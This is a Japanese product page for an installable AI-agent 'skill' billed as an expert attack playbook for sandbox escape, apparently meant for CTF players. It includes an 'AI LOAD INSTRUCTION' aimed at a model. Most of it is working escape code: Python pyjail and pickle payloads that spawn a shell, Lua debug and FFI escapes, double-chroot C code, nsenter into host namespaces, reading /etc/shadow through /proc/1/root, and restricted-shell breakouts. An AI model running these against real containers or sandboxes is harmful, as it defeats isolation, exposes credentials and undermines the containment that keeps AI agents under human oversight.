sandbox-escape-techniques について
sandbox-escape-techniquesは、CTF参加者やセキュリティ研究者向けのサンドボックス脱出ガイドです。Python、Lua、seccomp、chroot、コンテナ、ブラウザー環境を種類別に扱います。
主な機能
- 01一般的なサンドボックスの識別
- 02Python・Luaサンドボックスの脱出
- 03seccomp・chrootの回避
- 04ブラウザーとMojoの攻撃経路
- 05名前空間・コンテナからの脱出
- 06制限付きシェルからの脱出
活用シーン
- 01CTFのpyjailや制限付きスクリプト環境の分析
- 02コンテナや名前空間の隔離設定の評価
- 03ブラウザーレンダラのサンドボックス境界の調査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill sandbox-escape-techniquesインストール後、Claude Code で/sandbox-escape-techniquesを入力して読み込まれたか確認します。
同梱ファイルPYTHON_SANDBOX_ESCAPE.mdSECCOMP_BYPASS.md
詳細
スキル:サンドボックスエスケープ — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Python、Lua、seccomp、chroot、Docker/コンテナ、ブラウザーのサンドボックス環境における、エキスパート向けのサンドボックスエスケープ手法を解説します。CTF の pyjail パターン、seccomp のアーキテクチャ混同、chroot の fd リーク、名前空間エスケープ、Mojo IPC の悪用を扱います。ctf-wiki のサンドボックス関連セクションと実際のコンテナエスケープ事例をもとに要点をまとめています。ベースモデルはサンドボックスの種類の違いを見落とし、誤ったエスケープ手法を適用しがちです。
0. 関連するルーティング
- browser-exploitation-v8 — ブラウザーサンドボックスエスケープ前の、レンダラー RCE を狙う V8 のエクスプロイト
- container-escape-techniques — Docker/コンテナに特化したエスケープ手法
- kernel-exploitation — コンテナ/名前空間エスケープのためのカーネルエクスプロイト
- linux-privilege-escalation — エスケープ後の権限昇格
高度な参考資料
- PYTHON_SANDBOX_ESCAPE.md — pyjail の完全な手法:
__builtins__の復元、キーワードのバイパス、AST のバイパス、pickle エスケープ - SECCOMP_BYPASS.md — アーキテクチャ混同、io_uring のバイパス、ptrace のバイパス、許可されたシステムコールの連鎖
1. サンドボックスの種類の識別
| サンドボックスの種類 | 目印 | 一般的な状況 |
|---|---|---|
| Python サンドボックス(pyjail) | 組み込み関数の制限、キーワードのフィルタリング、exec/eval が利用可能 | CTF、オンラインジャッジ、Jupyter |
| Lua サンドボックス | os、io モジュールがない、メタテーブルが制限されている | ゲームスクリプティング、設定 |
| seccomp | システムコールのフィルタリング、prctl(PR_SET_SECCOMP) | CTF pwn、コンテナのハードニング |
| chroot | ルートファイルシステムの変更、/proc へのアクセス制限 | レガシーな隔離環境 |
| Docker/コンテナ | 名前空間、cgroups、削減されたケイパビリティ | クラウド、マイクロサービス |
| ブラウザー(レンダラー) | OS レベルのサンドボックス(Linux では seccomp-bpf と名前空間) | Chrome、Firefox |
| 名前空間の隔離 | PID/マウント/ネットワーク/ユーザー名前空間 | コンテナランタイム |
2. Python サンドボックスエスケープ(概要)
完全な手法については、PYTHON_SANDBOX_ESCAPE.md を参照してください。
クイックリファレンス
| 手法 | ワンライナー |
|---|---|
| サブクラスの探索 | ().__class__.__bases__[0].__subclasses__() → os._wrap_close を探す → __init__.__globals__['system'] |
| インポートの復元 | __builtins__.__import__('os').system('sh') |
| getattr のバイパス | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr による構築 | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle エスケープ | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| コードオブジェクト | types.CodeType(...) を構築し、カスタムバイトコードで exec() を実行 |
3. Lua サンドボックスエスケープ
制限環境のバイパス
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
Lua FFI エスケープ(LuaJIT)
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry
4. chroot エスケープ
| 手法 | 条件 | 方法 |
|---|---|---|
| 実際のルートへのオープン済み fd | chroot の外部からファイルディスクリプターがリークしている | fchdir(leaked_fd) の後に chroot(".") |
| 二重 chroot | プロセスが chroot 内で root である | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | ターミナルにアクセスできる(fd 0 が TTY) | ioctl(0, TIOCSTI, &c) で親シェルにキーストロークを注入 |
| /proc へのアクセス | chroot 内に /proc がマウントされている | /proc/1/root/ → 実際のルートファイルシステムにアクセス |
| ptrace | CAP_SYS_PTRACE | chroot の外部にあるプロセスにアタッチ |
| マウント名前空間 | 特権がある | 実際のルートを chroot 内にマウント |
二重 chroot エスケープ
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);
5. ブラウザーサンドボックスエスケープ(概要)
Chrome サンドボックスのアーキテクチャ(Linux)
Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)
逃走経路
| 経路 | 説明 |
|---|---|
| Mojo IPC のバグ | ブラウザプロセスの Mojo インターフェースハンドラーにおける UAF または型の混同 |
| 共有メモリの破損 | レンダラープロセスとブラウザプロセス間の共有メモリセグメントを破損させる |
| GPU プロセスのバグ | 踏み台として、サンドボックスによる制限が弱い GPU プロセスを悪用する |
| カーネルのエクスプロイト | カーネルの脆弱性を介して直接脱出する(すべてのサンドボックス化を回避) |
| シグナル処理 | サンドボックス境界を越えたシグナル配信における競合状態 |
Mojo インターフェース攻撃パターン
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access
6. 名前空間からの脱出
ユーザー名前空間の権限昇格
# If allowed to create user namespaces (unprivileged):
unshare -Urm # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
PID 名前空間からの脱出
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
マウント名前空間のトリック
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/ # host root filesystem
cat /proc/1/root/etc/shadow # read host files
# If can mount:
mount -t proc proc /proc
# Access host /proc entries
7. RBASH/制限付きシェルからの脱出
| 手法 | 方法 |
|---|---|
| vi/vim | :!/bin/bash または :set shell=/bin/bash の後に :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| 環境変数 | export PATH=/usr/bin:/bin; /bin/bash |
| cp | /bin/bash を許可されたディレクトリにコピーする |
| git | git help config → 続いてページャーで !/bin/bash |
| エンコーディング | `echo /bin/bash |
8. 判断フローチャート
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)
コメント
Markdown 対応